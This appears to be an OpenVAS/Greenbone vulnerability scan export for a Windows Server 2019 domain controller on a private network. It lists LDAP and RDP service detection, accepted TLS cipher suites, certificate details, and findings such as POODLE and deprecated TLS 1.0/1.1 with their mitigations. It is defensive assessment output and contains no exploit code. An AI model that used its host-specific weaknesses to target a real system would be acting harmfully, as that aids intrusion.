TLSv1.0

TLSv1.1

TLSv1.2		Log		0		146d92f0-2c6f-4d73-931b-553a3aa7bb28

		LDAP Detection		admin		2022-07-26T17:26:05Z				2022-07-26T17:26:05Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		LDAP Detection		Service detection		0				2009-03-27T11:39:47Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=A LDAP Server is running at this host.



  The Lightweight Directory Access Protocol, or LDAP is an application

  protocol for querying and modifying directory services running over

  TCP/IP.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.100082		2020-11-10T15:30:28Z		Log		0		80				The LDAP Server supports LDAPv3.		Log		0		8e3300d4-01d1-4682-a3e4-3224aad9bf72

		SSL/TLS: Report Non Weak Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Report Non Weak Cipher Suites		SSL and TLS		0				2012-03-01T16:16:10Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all Non Weak SSL/TLS cipher suites

  accepted by a service.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103441		2021-12-01T09:24:41Z		Log		0		98				'Non Weak' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Non Weak' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384		Log		0		ad5d3730-3946-43d5-a594-51be167f8bed

		SSL/TLS: Report Medium Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Report Medium Cipher Suites		SSL and TLS		0				2012-03-07T08:44:14Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all Medium SSL/TLS cipher suites accepted

  by a service.|insight=Any cipher suite considered to be secure for only the next 10

  years is considered as medium.|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.902816		2021-12-01T13:10:37Z		Log		0		98				'Medium' cipher suites accepted by this service via the SSLv3 protocol:



TLS_RSA_WITH_3DES_EDE_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA



'Medium' cipher suites accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_3DES_EDE_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA

TLS_RSA_WITH_AES_128_CBC_SHA256

TLS_RSA_WITH_AES_128_GCM_SHA256

TLS_RSA_WITH_AES_256_CBC_SHA

TLS_RSA_WITH_AES_256_CBC_SHA256

TLS_RSA_WITH_AES_256_GCM_SHA384		Log		0		1cefa941-0382-4108-bc2b-1970b1e7617d

		SSL/TLS: SSLv3 Protocol CBC Cipher Suites Information Disclosure Vulnerability (POODLE)		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: SSLv3 Protocol CBC Cipher Suites Information Disclosure Vulnerability (POODLE)		SSL and TLS		3.4		NVD		2021-06-16T12:15:00Z		3.4		CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N		cvss_base_v3		3.4		cvss_base_vector=CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N|summary=This host is prone to an information disclosure vulnerability.|insight=The flaw is due to the block cipher padding not being deterministic and not covered by the Message Authentication Code|affected=|impact=Successful exploitation will allow a  man-in-the-middle attackers gain access to the plain text data stream.|solution=Possible Mitigations are:



  - Disable SSLv3



  - Disable cipher suites supporting CBC cipher modes



  - Enable TLS_FALLBACK_SCSV if the service is providing TLSv1.0+|vuldetect=Evaluate previous collected information about this service.|solution_type=Mitigation		Mitigation		Possible Mitigations are:



  - Disable SSLv3



  - Disable cipher suites supporting CBC cipher modes



  - Enable TLS_FALLBACK_SCSV if the service is providing TLSv1.0+		1.3.6.1.4.1.25623.1.0.802087		2022-04-14T11:24:11Z		Low		3.4		80						Low		3.4		4312f8c3-6585-42bc-ba1f-f703d31063c4		cve		CVE-2014-3566		url		https://www.openssl.org/~bodo/ssl-poodle.pdf		url		http://www.securityfocus.com/bid/70574		url		https://www.imperialviolet.org/2014/10/14/poodle.html		url		https://www.dfranke.us/posts/2014-10-14-how-poodle-happened.html		url		http://googleonlinesecurity.blogspot.in/2014/10/this-poodle-bites-exploiting-ssl-30.html		cert-bund		CB-K17/1198		cert-bund		CB-K17/1196		cert-bund		CB-K16/1828		cert-bund		CB-K16/1438		cert-bund		CB-K16/1384		cert-bund		CB-K16/1102		cert-bund		CB-K16/0599		cert-bund		CB-K16/0156		cert-bund		CB-K15/1514		cert-bund		CB-K15/1358		cert-bund		CB-K15/1021		cert-bund		CB-K15/0972		cert-bund		CB-K15/0637		cert-bund		CB-K15/0590		cert-bund		CB-K15/0525		cert-bund		CB-K15/0393		cert-bund		CB-K15/0384		cert-bund		CB-K15/0287		cert-bund		CB-K15/0252		cert-bund		CB-K15/0246		cert-bund		CB-K15/0237		cert-bund		CB-K15/0118		cert-bund		CB-K15/0110		cert-bund		CB-K15/0108		cert-bund		CB-K15/0080		cert-bund		CB-K15/0078		cert-bund		CB-K15/0077		cert-bund		CB-K15/0075		cert-bund		CB-K14/1617		cert-bund		CB-K14/1581		cert-bund		CB-K14/1537		cert-bund		CB-K14/1479		cert-bund		CB-K14/1458		cert-bund		CB-K14/1342		cert-bund		CB-K14/1314		cert-bund		CB-K14/1313		cert-bund		CB-K14/1311		cert-bund		CB-K14/1304		cert-bund		CB-K14/1296		dfn-cert		DFN-CERT-2017-1238		dfn-cert		DFN-CERT-2017-1236		dfn-cert		DFN-CERT-2016-1929		dfn-cert		DFN-CERT-2016-1527		dfn-cert		DFN-CERT-2016-1468		dfn-cert		DFN-CERT-2016-1168		dfn-cert		DFN-CERT-2016-0884		dfn-cert		DFN-CERT-2016-0642		dfn-cert		DFN-CERT-2016-0388		dfn-cert		DFN-CERT-2016-0171		dfn-cert		DFN-CERT-2015-1431		dfn-cert		DFN-CERT-2015-1075		dfn-cert		DFN-CERT-2015-1026		dfn-cert		DFN-CERT-2015-0664		dfn-cert		DFN-CERT-2015-0548		dfn-cert		DFN-CERT-2015-0404		dfn-cert		DFN-CERT-2015-0396		dfn-cert		DFN-CERT-2015-0259		dfn-cert		DFN-CERT-2015-0254		dfn-cert		DFN-CERT-2015-0245		dfn-cert		DFN-CERT-2015-0118		dfn-cert		DFN-CERT-2015-0114		dfn-cert		DFN-CERT-2015-0083		dfn-cert		DFN-CERT-2015-0082		dfn-cert		DFN-CERT-2015-0081		dfn-cert		DFN-CERT-2015-0076		dfn-cert		DFN-CERT-2014-1717		dfn-cert		DFN-CERT-2014-1680		dfn-cert		DFN-CERT-2014-1632		dfn-cert		DFN-CERT-2014-1564		dfn-cert		DFN-CERT-2014-1542		dfn-cert		DFN-CERT-2014-1414		dfn-cert		DFN-CERT-2014-1366		dfn-cert		DFN-CERT-2014-1354

		SSL/TLS: Report Perfect Forward Secrecy (PFS) Cipher Suites		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Report Perfect Forward Secrecy (PFS) Cipher Suites		SSL and TLS		0				2014-05-06T13:16:10Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine reports all SSL/TLS cipher suites accepted by a

  service which are supporting Perfect Forward Secrecy (PFS).|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.105018		2021-12-09T13:40:52Z		Log		0		98				Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.0 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA



Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.1 protocol:



TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA



Cipher suites supporting Perfect Forward Secrecy (PFS) are accepted by this service via the TLSv1.2 protocol:



TLS_DHE_RSA_WITH_AES_128_GCM_SHA256

TLS_DHE_RSA_WITH_AES_256_GCM_SHA384

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384		Log		0		f579646e-80ec-415f-98b4-63efa899fc9b

		SSL/TLS: Client Certificate Required		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Client Certificate Required		SSL and TLS		0				2021-12-06T13:43:24Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=The remote SSL/TLS service requires an SSL/TLS client

  certificate.|insight=|affected=|impact=|solution=|vuldetect=Sends multiple connection requests to the remote SSL/TLS

  service and attempts to determine if the service requires an SSL/TLS client certificate.|solution_type=						1.3.6.1.4.1.25623.1.0.117810		2022-02-23T10:17:11Z		Log		0		80				The remote SSL/TLS service requires a client certificate when accessing it via the following SSL/TLS protocol version(s):



SSLv3

TLSv1.0

TLSv1.1

TLSv1.2		Log		0		eabab313-607a-4ef8-9257-fdc1576f69e2

		SSL/TLS: Collect and Report Certificate Details		admin		2022-07-26T17:27:20Z				2022-07-26T17:27:20Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3269/tcp		nvt		SSL/TLS: Collect and Report Certificate Details		SSL and TLS		0				2013-04-09T12:14:14Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script collects and reports the details of all SSL/TLS

  certificates.



  This data will be used by other tests to verify server certificates.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103692		2021-12-10T12:48:00Z		Log		0		98				The following certificate details of the remote service were collected.



Certificate details:

fingerprint (SHA-1)             | EE36DA763B9CF884C52BD1535F2B0D355EB48798

fingerprint (SHA-256)           | 312D81B8EF24F5A29285C30A155948794DABACD258B77E5E9211DE70D8556299

issued by                       | CN=DC-WIN-SERV-19-DC-CA,DC=DC,DC=local

public key algorithm            | RSA

public key size (bits)          | 2048

serial                          | 66000000028DF13970CE9BBC1D000000000002

signature algorithm             | sha256WithRSAEncryption

subject                         | CN=Win-Serv-19-DC.DC.local

subject alternative names (SAN) | Win-Serv-19-DC.DC.local

valid from                      | 2022-05-17 11:49:19 UTC

valid until                     | 2023-05-17 11:49:19 UTC		Log		0		e4a6c55e-17c8-4ce0-a1da-79555c315848

		SSL/TLS: Collect and Report Certificate Details		admin		2022-07-26T17:27:20Z				2022-07-26T17:27:20Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Collect and Report Certificate Details		SSL and TLS		0				2013-04-09T12:14:14Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This script collects and reports the details of all SSL/TLS

  certificates.



  This data will be used by other tests to verify server certificates.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103692		2021-12-10T12:48:00Z		Log		0		98				The following certificate details of the remote service were collected.



Certificate details:

fingerprint (SHA-1)             | EE36DA763B9CF884C52BD1535F2B0D355EB48798

fingerprint (SHA-256)           | 312D81B8EF24F5A29285C30A155948794DABACD258B77E5E9211DE70D8556299

issued by                       | CN=DC-WIN-SERV-19-DC-CA,DC=DC,DC=local

public key algorithm            | RSA

public key size (bits)          | 2048

serial                          | 66000000028DF13970CE9BBC1D000000000002

signature algorithm             | sha256WithRSAEncryption

subject                         | CN=Win-Serv-19-DC.DC.local

subject alternative names (SAN) | Win-Serv-19-DC.DC.local

valid from                      | 2022-05-17 11:49:19 UTC

valid until                     | 2023-05-17 11:49:19 UTC		Log		0		05971fe0-611a-4f57-803b-8c5e0820d5ec

		SSL/TLS: Safe/Secure Renegotiation Support Status		admin		2022-07-26T19:03:18Z				2022-07-26T19:03:18Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Safe/Secure Renegotiation Support Status		SSL and TLS		0				2021-10-27T11:26:49Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Checks and reports if a remote SSL/TLS service supports

  safe/secure renegotiation.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.117757		2021-11-12T09:42:39Z		Log		0		98				Protocol Version | Safe/Secure Renegotiation Support Status

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

SSLv3            | Unknown, Reason: Scanner failed to negotiate an SSL/TLS connection (Either the scanner or the remote host is probably not supporting / accepting this SSL/TLS protocol version).

TLSv1.0          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.1          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.2          | Enabled, Note: While the remote service announces the support of safe/secure renegotiation it still might not support / accept renegotiation at all.

TLSv1.3          | Unknown, Reason: Scanner failed to negotiate an SSL/TLS connection (Either the scanner or the remote host is probably not supporting / accepting this SSL/TLS protocol version).		Log		0		c4e44c7f-60cf-4172-b663-660c94b843b1		url		https://www.gnutls.org/manual/html_node/Safe-renegotiation.html		url		https://wiki.openssl.org/index.php/TLS1.3#Renegotiation		url		https://datatracker.ietf.org/doc/html/rfc5746

		Services		admin		2022-07-26T17:21:39Z				2022-07-26T17:21:39Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		Services		Service detection		0				2011-01-14T09:12:23Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=This routine attempts to guess which service is running on the

  remote ports. For instance, it searches for a web server which could listen on another port than

  80 or 443 and makes this information available for other check routines.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.10330		2021-03-15T10:42:03Z		Log		0		80				A TLScustom server answered on this port		Log		0		57030756-0452-40ab-aaaf-e4f9512e8db6

		SSL/TLS: Version Detection		admin		2022-07-26T17:26:55Z				2022-07-26T17:26:55Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Version Detection		SSL and TLS		0				2016-06-29T08:54:20Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=Enumeration and reporting of SSL/TLS protocol versions supported

  by a remote service.|insight=|affected=|impact=|solution=|vuldetect=Sends multiple connection requests to the remote service and

  attempts to determine the SSL/TLS protocol versions supported by the service from the replies.



  Note: The supported SSL/TLS protocol versions included in the report of this VT are reported

  independently from the allowed / supported SSL/TLS ciphers.|solution_type=						1.3.6.1.4.1.25623.1.0.105782		2021-12-06T15:42:24Z		Log		0		80				The remote SSL/TLS service supports the following SSL/TLS protocol version(s):



TLSv1.0

TLSv1.1

TLSv1.2		Log		0		8056ab79-d0b0-46e9-a115-00272de1f8d7

		SSL/TLS: Certificate - Self-Signed Certificate Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Certificate - Self-Signed Certificate Detection		SSL and TLS		0				2011-04-27T13:13:59Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=The SSL/TLS certificate on this port is self-signed.|insight=|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.103140		2021-11-22T15:32:39Z		Log		0		98				The certificate of the remote service is self signed.



Certificate details:

fingerprint (SHA-1)             | 87C96DE40947B781B7DA7475E043B330AC8CF7DC

fingerprint (SHA-256)           | 0B31D091F5D8ACF7F978DA11380FF0C858EB0EF1A429D63EFA572C02BA585472

issued by                       | CN=Win-Serv-19-DC.DC.local

public key algorithm            | RSA

public key size (bits)          | 2048

serial                          | 22DB80A0E42855AA484C34427AFB7E8B

signature algorithm             | sha256WithRSAEncryption

subject                         | CN=Win-Serv-19-DC.DC.local

subject alternative names (SAN) | None

valid from                      | 2022-05-16 13:12:10 UTC

valid until                     | 2022-11-15 13:12:10 UTC		Log		0		7fc1497d-815c-471c-86e3-bfc70e6ba745		url		http://en.wikipedia.org/wiki/Self-signed_certificate

		SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection		admin		2022-07-26T19:02:57Z				2022-07-26T19:02:57Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		SSL/TLS: Deprecated TLSv1.0 and TLSv1.1 Protocol Detection		SSL and TLS		4.3				2021-03-25T10:41:42Z		4.3		AV:N/AC:M/Au:N/C:P/I:N/A:N		cvss_base_v2		4.3		cvss_base_vector=AV:N/AC:M/Au:N/C:P/I:N/A:N|summary=It was possible to detect the usage of the deprecated TLSv1.0

  and/or TLSv1.1 protocol on this system.|insight=The TLSv1.0 and TLSv1.1 protocols contain known cryptographic

  flaws like:



  - CVE-2011-3389: Browser Exploit Against SSL/TLS (BEAST)



  - CVE-2015-0204: Factoring Attack on RSA-EXPORT Keys Padding Oracle On Downgraded Legacy

  Encryption (FREAK)|affected=All services providing an encrypted communication using the

  TLSv1.0 and/or TLSv1.1 protocols.|impact=An attacker might be able to use the known cryptographic flaws

  to eavesdrop the connection between clients and the service to get access to sensitive data

  transferred within the secured connection.



  Furthermore newly uncovered vulnerabilities in this protocols won't receive security updates

  anymore.|solution=It is recommended to disable the deprecated TLSv1.0 and/or

  TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more

  information.|vuldetect=Check the used TLS protocols of the services provided by this

  system.|solution_type=Mitigation		Mitigation		It is recommended to disable the deprecated TLSv1.0 and/or

  TLSv1.1 protocols in favor of the TLSv1.2+ protocols. Please see the references for more

  information.		1.3.6.1.4.1.25623.1.0.117274		2021-07-19T08:11:48Z		Medium		4.3		98				In addition to TLSv1.2+ the service is also providing the deprecated TLSv1.0 and TLSv1.1 protocols and supports one or more ciphers. Those supported ciphers can be found in the 'SSL/TLS: Report Supported Cipher Suites' (OID: 1.3.6.1.4.1.25623.1.0.802067) VT.		Medium		4.3		6c37d427-15c6-4725-8350-12cdaa148e34		cve		CVE-2011-3389		cve		CVE-2015-0204		url		https://ssl-config.mozilla.org/		url		https://bettercrypto.org/		url		https://datatracker.ietf.org/doc/rfc8996/		url		https://vnhacker.blogspot.com/2011/09/beast.html		url		https://web.archive.org/web/20201108095603/https://censys.io/blog/freak		url		https://www.enisa.europa.eu/publications/algorithms-key-size-and-parameters-report-2014		cert-bund		CB-K18/0799		cert-bund		CB-K16/1289		cert-bund		CB-K16/1096		cert-bund		CB-K15/1751		cert-bund		CB-K15/1266		cert-bund		CB-K15/0850		cert-bund		CB-K15/0764		cert-bund		CB-K15/0720		cert-bund		CB-K15/0548		cert-bund		CB-K15/0526		cert-bund		CB-K15/0509		cert-bund		CB-K15/0493		cert-bund		CB-K15/0384		cert-bund		CB-K15/0365		cert-bund		CB-K15/0364		cert-bund		CB-K15/0302		cert-bund		CB-K15/0192		cert-bund		CB-K15/0079		cert-bund		CB-K15/0016		cert-bund		CB-K14/1342		cert-bund		CB-K14/0231		cert-bund		CB-K13/0845		cert-bund		CB-K13/0796		cert-bund		CB-K13/0790		dfn-cert		DFN-CERT-2020-0177		dfn-cert		DFN-CERT-2020-0111		dfn-cert		DFN-CERT-2019-0068		dfn-cert		DFN-CERT-2018-1441		dfn-cert		DFN-CERT-2018-1408		dfn-cert		DFN-CERT-2016-1372		dfn-cert		DFN-CERT-2016-1164		dfn-cert		DFN-CERT-2016-0388		dfn-cert		DFN-CERT-2015-1853		dfn-cert		DFN-CERT-2015-1332		dfn-cert		DFN-CERT-2015-0884		dfn-cert		DFN-CERT-2015-0800		dfn-cert		DFN-CERT-2015-0758		dfn-cert		DFN-CERT-2015-0567		dfn-cert		DFN-CERT-2015-0544		dfn-cert		DFN-CERT-2015-0530		dfn-cert		DFN-CERT-2015-0396		dfn-cert		DFN-CERT-2015-0375		dfn-cert		DFN-CERT-2015-0374		dfn-cert		DFN-CERT-2015-0305		dfn-cert		DFN-CERT-2015-0199		dfn-cert		DFN-CERT-2015-0079		dfn-cert		DFN-CERT-2015-0021		dfn-cert		DFN-CERT-2014-1414		dfn-cert		DFN-CERT-2013-1847		dfn-cert		DFN-CERT-2013-1792		dfn-cert		DFN-CERT-2012-1979		dfn-cert		DFN-CERT-2012-1829		dfn-cert		DFN-CERT-2012-1530		dfn-cert		DFN-CERT-2012-1380		dfn-cert		DFN-CERT-2012-1377		dfn-cert		DFN-CERT-2012-1292		dfn-cert		DFN-CERT-2012-1214		dfn-cert		DFN-CERT-2012-1213		dfn-cert		DFN-CERT-2012-1180		dfn-cert		DFN-CERT-2012-1156		dfn-cert		DFN-CERT-2012-1155		dfn-cert		DFN-CERT-2012-1039		dfn-cert		DFN-CERT-2012-0956		dfn-cert		DFN-CERT-2012-0908		dfn-cert		DFN-CERT-2012-0868		dfn-cert		DFN-CERT-2012-0867		dfn-cert		DFN-CERT-2012-0848		dfn-cert		DFN-CERT-2012-0838		dfn-cert		DFN-CERT-2012-0776		dfn-cert		DFN-CERT-2012-0722		dfn-cert		DFN-CERT-2012-0638		dfn-cert		DFN-CERT-2012-0627		dfn-cert		DFN-CERT-2012-0451		dfn-cert		DFN-CERT-2012-0418		dfn-cert		DFN-CERT-2012-0354		dfn-cert		DFN-CERT-2012-0234		dfn-cert		DFN-CERT-2012-0221		dfn-cert		DFN-CERT-2012-0177		dfn-cert		DFN-CERT-2012-0170		dfn-cert		DFN-CERT-2012-0146		dfn-cert		DFN-CERT-2012-0142		dfn-cert		DFN-CERT-2012-0126		dfn-cert		DFN-CERT-2012-0123		dfn-cert		DFN-CERT-2012-0095		dfn-cert		DFN-CERT-2012-0051		dfn-cert		DFN-CERT-2012-0047		dfn-cert		DFN-CERT-2012-0021		dfn-cert		DFN-CERT-2011-1953		dfn-cert		DFN-CERT-2011-1946		dfn-cert		DFN-CERT-2011-1844		dfn-cert		DFN-CERT-2011-1826		dfn-cert		DFN-CERT-2011-1774		dfn-cert		DFN-CERT-2011-1743		dfn-cert		DFN-CERT-2011-1738		dfn-cert		DFN-CERT-2011-1706		dfn-cert		DFN-CERT-2011-1628		dfn-cert		DFN-CERT-2011-1627		dfn-cert		DFN-CERT-2011-1619		dfn-cert		DFN-CERT-2011-1482

		Microsoft Remote Desktop Protocol (RDP) Detection		admin		2022-07-26T17:25:10Z				2022-07-26T17:25:10Z		5beee537-abc3-450f-a29f-85c37c01c0e0		Microsoft Server 2019		7b346187-ce2c-4a19-bfda-3ed85c1ff056		5ae02c5b-3c7d-4c24-b199-2e481eba9cc2		WIN-SERV-19-DC		192.168.186.128		3389/tcp		nvt		Microsoft Remote Desktop Protocol (RDP) Detection		Service detection		0				2009-03-19T18:54:28Z		0		AV:N/AC:L/Au:N/C:N/I:N/A:N		cvss_base_v2		0		cvss_base_vector=AV:N/AC:L/Au:N/C:N/I:N/A:N|summary=A service supporting the Microsoft Remote Desktop Protocol (RDP)

  is running at this host.|insight=Remote Desktop Services, formerly known as Terminal Services, is

  one of the components of Microsoft Windows (both server and client versions) that allows a user to

  access applications and data on a remote computer over a network.|affected=|impact=|solution=|vuldetect=|solution_type=						1.3.6.1.4.1.25623.1.0.100062		2021-04-16T08:08:22Z		Log		0		80						Log		0		3d57084f-ecdd-4725-b62e-307277a566ca

